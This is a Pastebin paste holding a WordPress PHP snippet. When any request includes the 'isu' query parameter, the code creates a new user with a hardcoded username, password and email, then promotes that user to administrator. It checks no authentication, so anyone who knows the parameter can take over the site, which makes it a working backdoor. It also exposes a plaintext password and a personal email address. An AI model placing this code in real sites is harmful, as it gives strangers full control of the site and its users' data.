Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if ( isset( $_GET['isu'] ) ) {
- add_action('init', 'add_user');
- }
- function add_user() {
- $username = 'TankenBakDev';
- $password = 'gQUnVjcp2kFLCvUyqiVGuVcq';
- $email = 'lukasz@tankenbak.no';
- // Create the new user
- $user_id = wp_create_user( $username, $password, $email );
- // Get current user object
- $user = get_user_by( 'id', $user_id );
- // Remove role
- $user->remove_role( 'subscriber' );
- // Add role
- $user->add_role( 'administrator' );
- var_dump('user added');
- die;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement